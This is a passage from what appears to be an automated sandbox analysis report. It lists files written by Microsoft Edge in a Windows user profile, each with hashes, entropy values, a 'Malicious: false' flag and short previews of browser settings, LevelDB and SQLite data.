SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD54llt:o1ApdeaEqYsMazlYBVsJDu2ziy54/
MD5:	BD72B24D3506282E86F2DE573239D060
SHA1:	6E1A396615B8BCE53E24C9C64BA63C194325EB59
SHA-256:	1018F6A3BA584F39BACB39A5F83372F0D50274DAE10B189C03F16E23EF02EF72
SHA-512:	1AD4F2DC7ABA21C13202B5E2CFCDF88D6AE5AB139CD1A8956370E9D61D2129F49CD6C905CDBA82AC8075815B1656487BC4F41A3985BB0053FD85302B16826F0E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cc0ad53-be57-45e5-9e50-91f1808a81d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35445
Entropy (8bit):	5.5587435795003195
Encrypted:	false
SSDEEP:	768:h6/46pWPuEf4p8F1+UoAYDCx9Tuqh0VfUC9xbog/OVEc0MMrwgD+P+6qKpjtuQ:h6/46pWPuEf4pu1javPMlgD++6tH
MD5:	5F4FB3DF21FCF8ED3618CDFC82F703A6
SHA1:	46976CCD7FCFDECB794879725636E2BFA6687EDF
SHA-256:	45B8A21A2478F3C28301BE7280A6B1AF5D303CA4C8595DD1C8B57D854B28EB3D
SHA-512:	DC6AEE5B8F6DF2E98C0D066EF2B92E09A403D6262661A61D3A20F48E531D7D1D9205D0A08555BBD610CB374C9A666CA44D5DC9E879B0A8FA1DD6ACF0979B0576
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13384336790665039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13384336790665039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\547bda20-1b9b-4639-81f4-0bace8e89f34.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23856
Entropy (8bit):	5.222513972761394
Encrypted:	false
SSDEEP:	384:st6PGKSuHsU4fhAY5bGjQPZ0daRZrBTTNvz5oLY6WmaTYB:ssOxuf4fnbGcB0daRZrVjKaTYB
MD5:	CD6C495DB119ACE0FD5D3FF104CAFE50
SHA1:	27B2E75CE8B30A1C2326F1C8969F9080F9F46BCC
SHA-256:	283940EEDEB5576D48A5F166C22979A9FBCC8787C4E32F773745DC1F76E6ACC6
SHA-512:	DA1B6A20D53D401CD08D8F56B0D9F54179DF7322532B7678C89D4FE6B70D29428B72000BEBEB2EF05C7D7BC1F03588F5714D16DC721EDF4269CCC558AD45757E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8160ec6a-7829-4d0d-9174-16b23ab6fc50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9842
Entropy (8bit):	5.110074006970827
Encrypted:	false
SSDEEP:	192:st6kdAs034sZihUkQ3m88bV+FmWQ2s66WlaFIMYUP/YJ:st6fsU4fhjbGjQ216WlaTYB
MD5:	8E8EFEC502A24739630AA99382B13BD8
SHA1:	1E39142FD1AB5D848E36D5B55D15793EB6094174
SHA-256:	2C689BD1230372312BED2AA2FE907DA646203129AD54A8DCEA2F1FE8357D2F66
SHA-512:	EB1077D1C753BC37508F84250AAA545B4FF6920B2D6082488A4639326CAA2BD8B5DF64B290959B99302116C2E7B9B80913E034EA9766B4DEA75B0B8F71F17E1F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\89aed4d3-5035-4663-89d5-e4510973aa90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\91aaef82-3a81-4e99-99ac-8e8101c53b79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17951
Entropy (8bit):	5.202743586346819
Encrypted:	false
SSDEEP:	384:st6PGKSuHsU4fhjbGjQsIZBBLl4lD6WiaTYB:ssOxuf4f1bGc9ZBI2aTYB
MD5:	51936C5411986AE6AC5C0277E850C69F
SHA1:	B449FA60D87D7F472495F05EDDF6134A90D69DB0
SHA-256:	26FD265DCD9C5FEF550EEF085E7E4967ECC53D9143C5046A74A9100ABF5770B5
SHA-512:	B9A264A2369788A3EAF477A860A74F4B65FD6C1AF78094A6AD248128C7463FA10D18F5EA5E7E58C1DE6B1E1CAAC8ED9DEF15D2172CBDBAAFC8603B7FE82B155C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13384336791418589","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\958a81bf-66db-404c-9b26-ed2bdff8dfc2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566045162996104
Encrypted:	false
SSDEEP:	768:hrR4SpWPuEf6p8F1+UoAYDCx9Tuqh0VfUC9xbog/OVtc0nMrwgpjtuk:hrR4SpWPuEf6pu1jacPnl0tr
MD5:	E8CED80B42EAAF0C201A8FD85104CE52
SHA1:	26C19276763E848A3B89F97C934F299ED87F4702
SHA-256:	93A537C89F03921BD7956DFD90FD7F206DC71A1CC4AF793FE42249E1F51664EE
SHA-512:	156224E8F691970CE6CF276B1DEB2EA18A23A29D170727DADB60B6432F9A5BAB36A001BDC2907ECEF02116C1E22AE77EE78D02818225E9E37CD8467E26CC98D3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13384336790665039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13384336790665039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.205615796665229
Encrypted:	false
SSDEEP:	6:iOXlH3B1923oH+Tcwtp3hBtB2KLl1SL9+q2P923oH+Tcwtp3hBWsIFUv:7pMYebp3dFL2Mv4Yebp3eFUv
MD5:	1402A3537FCEDE9B2D4703D7F24BCB85
SHA1:	4F24699CEA9A4363E29BD5D63002F3266C738FCC
SHA-256:	C2E75F13B3E5CB51CAD939BC6ACF73F2E83F9CC13EA15B66D7A3B1309DF60AAD
SHA-512:	F665CE3827BE1BF3BC66A20EF63022963A8D78CCA17FB7E4F8193BED59E60F82E14F00647734DDD987E7E3CA2FA848B944656A50C3CA1E3577BBA25983917386
Malicious:	false
Preview:	2025/02/18-02:20:04.254 11d8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/02/18-02:20:04.433 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222869456218234
Encrypted:	false
SSDEEP:	24576:v+/PN8F1fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Hfx2mjF
MD5:	D9493EFC660BE77049DE221C6F6D15BC
SHA1:	338A759740C47F849497007D0DA53B0FA7FD4680
SHA-256:	934A91BA7BDE0719E583001E16A842039CB4D7D23009F72A49784B20FEF03FC0
SHA-512:	9FF89F92E3D333EE1AD0FA35DEFE1210CB7257EACAA2C43643A227699D8DC693A247FD71F08F6FC5479637B6790488D3DED382AD9C32792755704709A23E5045
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.031976400419652
Encrypted:	false
SSDEEP:	6:iOXRT1L+q2P923oH+Tcwt9Eh1tIFUtFRBj1Zmw7gk1LVkwO923oH+Tcwt9Eh15LJ:7hRyv4Yeb9Eh16FUtfr/keR5LYeb9Ehx
MD5:	3B94CDAEB74706FC37FBF5A509D4E44A
SHA1:	E2E63740EC729FFDF9CDB2743D7B9128ED260D55
SHA-256:	6B0EB98869A13120F08E642287B176DA074CFC2FBD4F103581186A797ED9AB4F
SHA-512:	B7EB803EC92C5350AFA74A1E15E1C42511BEC99D24F385C394E543562D07013405FF624D7EB7CC1B5E9F3AB55A753D3C192ADD66396F2F06C71BC74737E49744
Malicious:	false
Preview:	2025/02/18-02:20:03.553 20e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/18-02:20:03.559 20e8 Recovering log #3.2025/02/18-02:20:04.055 20e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.031976400419652
Encrypted:	false
SSDEEP:	6:iOXRT1L+q2P923oH+Tcwt9Eh1tIFUtFRBj1Zmw7gk1LVkwO923oH+Tcwt9Eh15LJ:7hRyv4Yeb9Eh16FUtfr/keR5LYeb9Ehx
MD5:	3B94CDAEB74706FC37FBF5A509D4E44A
SHA1:	E2E63740EC729FFDF9CDB2743D7B9128ED260D55
SHA-256:	6B0EB98869A13120F08E642287B176DA074CFC2FBD4F103581186A797ED9AB4F
SHA-512:	B7EB803EC92C5350AFA74A1E15E1C42511BEC99D24F385C394E543562D07013405FF624D7EB7CC1B5E9F3AB55A753D3C192ADD66396F2F06C71BC74737E49744
Malicious:	false
Preview:	2025/02/18-02:20:03.553 20e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/18-02:20:03.559 20e8 Recovering log #3.2025/02/18-02:20:04.055 20e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.5304568063106376
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfS5qlpf+hHkm:TouQq3qh7z3bY2LNW9WMcUvIkVM
MD5:	8BC8A92455E1997276E4F37263EB97B1
SHA1:	F4A5A8F94D6EC8C272D79FA4CA8A6BB0A203F241
SHA-256:	C8FC9B48BD081F7B78E9D062BA8E122BA967D9F7E63E85B7F8CFC077614592B0
SHA-512:	420C104366B47D8BE89F215E80E6FF050C2F6BCAF3C6B0704235BD193A70AECD6D52F022CA90E290ADD861B5895BEAD7EB767462AEDE6BF11E768D1DE8BC6C42
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	668201
Entropy (8bit):	6.015599206008846
Encrypted:	false
SSDEEP:	12288:dOTxoKHgdiXgRqyPmEGKHMCv9i2+8tqYM+91TVbiJQSUv4z5CvXn4rJg9a:IqugIXz7EG2MCViIqYR1TJje53
MD5:	8A78C4C7B0619F75412F61E5D6F18851
SHA1:	306870F716139238841C5E89AAE559F08B6699E1
SHA-256:	EDD8E08D71CD191F83154568CA87747F39EB1F863465900F25591BA9242F1F54
SHA-512:	9CCB21E67C1E187AFE35951C5081F3679D4E4E6FFD47A3188B2BF729E62A75D13BF3570BAA3EF8614BF2749CC2FD4E1F295043E967073080157803ED811125B4
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................BLOOM_FILTER:..({"numberOfHashFunctions":8,"shiftBase":6,"bloomFilterArraySize":3957785,"primeBases":[5381,5381,5381,5381],"supportedDomains":"dZsnzzKOjGQLMS7JuG6O4fm8IQtJDIVRbkJfYFUXB5RvXDKZih44Q+jI1glfqWpU64USEMcaiiQvxGs5knzJkr2qjfT3aiGsXZNyq1FupGvkeVmgTygCDCSB11F76W2ttdpM+4/w+hFOHpMbUECVRTwQkRZC4keTKY6OG0eDZBhSv9JF+E9EG0wo6l5c4U/ryQJ2OOHaJkUenHnZMiE4Tj76sK8GBnWlTJrt8f5w/+yHaafqYwDdapAqfluXa2Sc7ykqpFoLRcQhoNFVEKTpANC5g8efT+ARnbprDJl4ZZFvcUY4HAH9qX51rdDvnkN92xI3pF4zOzEWrUiAgP395Gg1waOIp8By4ph/JX1yL/LTTFNYpbMaTUE+5hOLVolRzquIfkWejtxLOoTCVSzNEBMyz9tTWjIY2wJIb8V5TzZoTggEcYl3PLJdRHH910ljbhqmJmY/r3SYBlmRFtnSnzQ1HkxCgSmyn8T8akozBmrLgbymEQr8GDsAIGXLEm1IMraPo6dqKUM61whCCfmeDjtndJp2W9+aefGAXwTOVk7na8Imn6KqedPRzgalw7lSy0YqXuAxHIDklUZVwp4eqbqh3vItcEKDjWNN90MyIpCc/ZrZHg/aRL1G2ydEiaJUg3C8Fxf/yzmlhl4JTx29dSXLFxYxzThTKhPfPHMgGWRpb2iblUc+EcYC1c8emNi82zqCME9tYS0GsCE1OOLBBrrwmmEkck07KxfAcoKlQRCuNIabWhsyPzQYDbvsntj5ECSZjnQ6rbTqpTosa8i8HHicvDeE43xCpYR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	225
Entropy (8bit):	5.427252125833035
Encrypted:	false
SSDEEP:	6:x38D8xSEsIh7OG49+n0PxEWNcHCX9Zjzf9qjX1HSaLZf9:xMD/QJ70TNcHyXeFHhX
MD5:	3A21FDB6068DE2B71BA51B64942A374E
SHA1:	D4D28BD5B86E2249E1C5344DA09D8A59C9F57F78
SHA-256:	1E449D1C3162A89B1E50B2FD14DDAE7420D508B46490715B31F879B2EE5A6B20
SHA-512:	DB2BF4E5B26894F535EF1FEE1C7392CBF61AA93E536BA78A3BFA801646214B09DAD00CF6A64277CE4399A37AD2BBDD0C8E5E94E906865A98244105EE4A715621
Malicious:	false
Preview:	}.fo9................BLOOM_FILTER_EXPIRY_TIME:.1739949600.558525.8JAG................BLOOM_FILTER_LAST_MODIFIED:.Mon, 17 Feb 2025 21:33:44 GMT....L................FLYOUT_STORAGE:.{"personalization_data_consent_enabled":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	668169
Entropy (8bit):	6.014871485942242
Encrypted:	false
SSDEEP:	12288:lOTxEKSgDiXiRqyPmEGCH2CvU42+8tdXM+9TTVbyJQSyL4zKuvXn2rJ692:ASRgWXZ7EGe2Cs4IdXRTTJ3SyF
MD5:	6CC919E9144F8898434A197FEA7F79F5
SHA1:	BDEBBAEEF9EF4688C0F3AB578622EF50146B97EC
SHA-256:	C33A8038A2BD9A00784610C62A7C878EB6EF91BC27DF4CF2E344E84199D1589B
SHA-512:	BAC18E1133CAD3A4DA96445C4CF989968068C9B44C9A85E1B3D0A49F0B27550282BDD0465CE1D1936D0AED65609B07E4C234F6509B7E2FDBA4B1ECEE7EB05842
Malicious:	false
Preview:	....(BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":6,"bloomFilterArraySize":3957785,"primeBases":[5381,5381,5381,5381],"supportedDomains":"dZsnzzKOjGQLMS7JuG6O4fm8IQtJDIVRbkJfYFUXB5RvXDKZih44Q+jI1glfqWpU64USEMcaiiQvxGs5knzJkr2qjfT3aiGsXZNyq1FupGvkeVmgTygCDCSB11F76W2ttdpM+4/w+hFOHpMbUECVRTwQkRZC4keTKY6OG0eDZBhSv9JF+E9EG0wo6l5c4U/ryQJ2OOHaJkUenHnZMiE4Tj76sK8GBnWlTJrt8f5w/+yHaafqYwDdapAqfluXa2Sc7ykqpFoLRcQhoNFVEKTpANC5g8efT+ARnbprDJl4ZZFvcUY4HAH9qX51rdDvnkN92xI3pF4zOzEWrUiAgP395Gg1waOIp8By4ph/JX1yL/LTTFNYpbMaTUE+5hOLVolRzquIfkWejtxLOoTCVSzNEBMyz9tTWjIY2wJIb8V5TzZoTggEcYl3PLJdRHH910ljbhqmJmY/r3SYBlmRFtnSnzQ1HkxCgSmyn8T8akozBmrLgbymEQr8GDsAIGXLEm1IMraPo6dqKUM61whCCfmeDjtndJp2W9+aefGAXwTOVk7na8Imn6KqedPRzgalw7lSy0YqXuAxHIDklUZVwp4eqbqh3vItcEKDjWNN90MyIpCc/ZrZHg/aRL1G2ydEiaJUg3C8Fxf/yzmlhl4JTx29dSXLFxYxzThTKhPfPHMgGWRpb2iblUc+EcYC1c8emNi82zqCME9tYS0GsCE1OOLBBrrwmmEkck07KxfAcoKlQRCuNIabWhsyPzQYDbvsntj5ECSZjnQ6rbTqpTosa8i8HHicvDeE43xCpYRDvpmTkrnbBnzZiN/9uMiBTwN5eiajOW8BTSfOAUEsAVY

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	506
Entropy (8bit):	5.208375618618228
Encrypted:	false
SSDEEP:	12:7W9v4Yebn9GFUt0X/quP5LYebn95Z9QamWxf0uxf/p7h:7q4Yeb9igCLYeb9z8WmuHh
MD5:	604B8DC07F2DB7EF1CF5D927FD9722D1
SHA1:	B3FE08ABD8FD7FAF59C641936A362A29DB3858C6
SHA-256:	E69A1535E80A94B52DFB0DD19EFA5C9387E720B345E9EAD705F9F9564F938656
